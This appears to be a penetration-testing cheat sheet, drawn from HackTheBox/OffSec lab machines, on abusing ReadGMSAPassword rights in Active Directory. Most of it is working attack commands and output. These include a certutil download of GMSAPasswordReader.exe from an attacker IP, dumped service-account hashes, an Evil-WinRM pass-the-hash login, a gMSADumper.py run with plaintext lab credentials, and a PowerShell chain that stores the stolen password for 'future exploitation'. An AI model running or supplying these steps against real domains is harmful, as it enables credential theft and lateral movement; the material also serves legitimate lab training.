GMSA Password Read

ReadGMSAPassword allows an attacker to use the password of a Group Managed Service Account which usually has elevated privileges. Environment: Search from HacktheBox

Initial Detection:

Reading GMSA using GMSAPasswordReader.exe

If users can read the GMSA, it means that we can upload a binary called "GMSAPasswordReader.exe".

GMSAPasswordReader.exe --accountname ''
*Evil-WinRM* PS C:\Users\enox> certutil -urlcache -f http://192.168.49.105:443/GMSAPasswordReader.exe GMSAPasswordReader.exe
****  Online  ****
CertUtil: -URLCache command completed successfully.
*Evil-WinRM* PS C:\Users\enox> . ./GMSAPasswordReader.exe --accountname 'svc_apache'
Calculating hashes for Old Value
[*] Input username             : svc_apache$
[*] Input domain               : HEIST.OFFSEC
[*] Salt                       : HEIST.OFFSECsvc_apache$
[*]       rc4_hmac             : 1808D2C09D9E6A0EDC419A4B13868C92
[*]       aes128_cts_hmac_sha1 : 8146F49C50041D6F8F70D45D9F26AF27
[*]       aes256_cts_hmac_sha1 : 810B1963081C261DBDA3E91618943A59EA0A9B6DD48BAFA5E30098D0F7412707
[*]       des_cbc_md5          : B6E961D04679DA29

Calculating hashes for Current Value
[*] Input username             : svc_apache$
[*] Input domain               : HEIST.OFFSEC
[*] Salt                       : HEIST.OFFSECsvc_apache$
[*]       rc4_hmac             : 45EA837EDB477DDA17B5822AD768D0D7
[*]       aes128_cts_hmac_sha1 : 9F234A0EEC90B6AF9FC395D85CE938D5
[*]       aes256_cts_hmac_sha1 : 90321B028FB63CD44F37BA7F6829F5CBE4DAA1EE926A909EA9CFC607B52A0CA4
[*]       des_cbc_md5          : B0750E611F7FA14F

The rc4_hmac hash can be used interchangebly with the NTLM hash.

evil-winrm -i 192.168.105.165 -u svc_apache$ -H 45EA837EDB477DDA17B5822AD768D0D7                                

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc_apache$\Documents> 

So we can just evil-winrm into that machine.

Remotely Read GMSA Passwords

If we for some reason do not have users who can authenticate to winrm we could posssibly use this to retrieve the hash remotely.

python3 gMSADumper.py -u 'Ted.Graves' -p 'Mr.Teddy' -d 'intelligence.htb'

Converting the GMSA to Powershell Variable for Future Use

So lets say we compromised a user that has GMSA read on user2 and user2 has privileges to do somehting else, we shuold use the following chaing of commands to store the GMSApassword of user2 for future use.

In BloodHound Take a look at the Extra Properties tab of the user we can read hte GMSA password for. The CN:<BLAHBLAHBLAH> is important.

$gmsa = Get-ADServiceAccount -Identity <CN NAME OF ACCOUNT WE WANT TO COMPROMISE> -Properties 'msds-managedpassword'
$mp = $gmsa.'msds-managedpassword'
$mp1 = ConvertFrom-ADManagedPasswordBlob $mp
$passwd = $mp1.'currentpassword'
$user = '<CN of User of we can read gmsa password>'
$secpass = ConvertTo-SecureString $passwd -AsPlainText -Force
$cred = new-object system.management.automation.pscredential $user,$secpass

Now we can use the variable creds for future exploitation.

Last updated